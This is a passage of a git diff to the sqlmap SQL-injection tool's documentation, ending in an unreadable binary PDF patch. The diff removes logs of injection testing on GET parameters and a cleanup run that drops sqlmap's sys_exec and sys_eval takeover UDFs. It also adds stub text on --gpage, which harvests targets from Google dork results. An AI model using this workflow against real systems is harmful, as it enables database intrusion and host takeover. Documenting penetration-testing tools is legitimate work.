-[hh:mm:22] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
-[hh:mm:22] [INFO] testing if GET parameter 'name' is dynamic
-[hh:mm:22] [INFO] confirming that GET parameter 'name' is dynamic
-[hh:mm:22] [INFO] GET parameter 'name' is dynamic
-[hh:mm:22] [INFO] testing sql injection on GET parameter 'name' with 0 parenthesis
-[hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'name'
-[hh:mm:22] [INFO] GET parameter 'name' is not unescaped numeric injectable
-[hh:mm:22] [INFO] testing single quoted string injection on GET parameter 'name'
-[hh:mm:22] [INFO] confirming single quoted string injection on GET parameter 'name'
-[hh:mm:22] [INFO] GET parameter 'name' is single quoted string injectable with 0 parenthesis
-[hh:mm:22] [INFO] there were multiple injection points, please select the one to use to go
-ahead:
-[0] place: GET, parameter: id, type: numeric (default)
-[1] place: GET, parameter: name, type: stringsingle
-[q] Quit
-Choice: 0
-[hh:mm:22] [DEBUG] used the default behaviour, running in batch mode
-[...]
-back-end DBMS:  MySQL >= 5.0.0
-
    -
    -

    - -

    As you can see, sqlmap by default chose the injection payload to the first -vulnerable parameter.

    +when sqlmap requires it, you can force that by using +--batch switch. This will leave sqlmap to go with a +default behaviour whenever user's input would be required.

    -

    Cleanup the DBMS by sqlmap specific UDF(s) and table(s)

    +

    5.16 Miscellaneous +

    -

    Option: --cleanup

    +

    TODO

    + +

    Switch: --beep

    + +

    TODO

    + + +

    TODO

    + +

    Switch: --check-payload

    + +

    TODO

    + + +

    Cleanup the DBMS from sqlmap specific UDF(s) and table(s)

    + +

    Switch: --cleanup

    It is recommended to clean up the back-end database management system from sqlmap temporary table(s) and created user-defined function(s) when you -are done with owning the underlying operating system or file system.

    - -

    Example on a PostgreSQL 8.3.5 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/iis/get_int.aspx?id=1" \
-  -v 2 --cleanup
-
-[...]
-[hh:mm:18] [INFO] cleaning up the database management system
-[hh:mm:18] [DEBUG] removing support tables
-[hh:mm:18] [DEBUG] query: DROP TABLE sqlmapfile
-[hh:mm:18] [DEBUG] query: DROP TABLE sqlmapoutput
-do you want to remove sys_exec UDF? [Y/n] 
-[hh:mm:20] [DEBUG] removing sys_exec UDF
-[hh:mm:20] [DEBUG] query: DROP FUNCTION sys_exec(text)
-do you want to remove sys_eval UDF? [Y/n] 
-[hh:mm:21] [DEBUG] removing sys_eval UDF
-[hh:mm:21] [DEBUG] query: DROP FUNCTION sys_eval(text)
-[hh:mm:21] [INFO] database management system cleanup finished
-[hh:mm:21] [WARNING] remember that UDF shared library files saved on the file system can 
-only be deleted manually
-
    -
    -

    +are done taking over the underlying operating system or file system. +Switch --cleanup will attempt to clean up the DBMS and +the file system wherever possible.

    -

    6. Disclaimer

    +

    TODO

    + +

    Switch: --forms

    + +

    TODO

    + + +

    Use Google dork results from specified page number

    + +

    Switch: --gpage

    + +

    Default sqlmap behavior with option -g is to do a Google +search and use the first 100 resulting URLs for further SQL injection +testing. However, in combination with this option you can specify with +this switch, --gpage, some page other than the first one +to retrieve target URLs from.

    + + +

    TODO

    + +

    Switch: --parse-errors

    + +

    TODO

    + + +

    TODO

    + +

    Switch: --replicate

    + +

    TODO

    + + +

    6. License and copyright

    + +

    sqlmap is released under the terms of the +General Public License v2. +sqlmap is copyrighted by its +developers.

    + + +

    7. Disclaimer

    sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS @@ -6242,7 +2763,7 @@ that such action might get you in trouble with a lot of law enforcement agencies.

    -

    7. Authors

    +

    8. Authors

    Bernardo Damele A. G. (inquis) - Lead developer. diff --git a/doc/README.pdf b/doc/README.pdf index 481b0ee6fffeda41b9c8e5f28e2d79c878ef6d25..c5eecbed3c71cc280c2d91c9a8ec7296fe0d9213 100644 GIT binary patch delta 187208 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 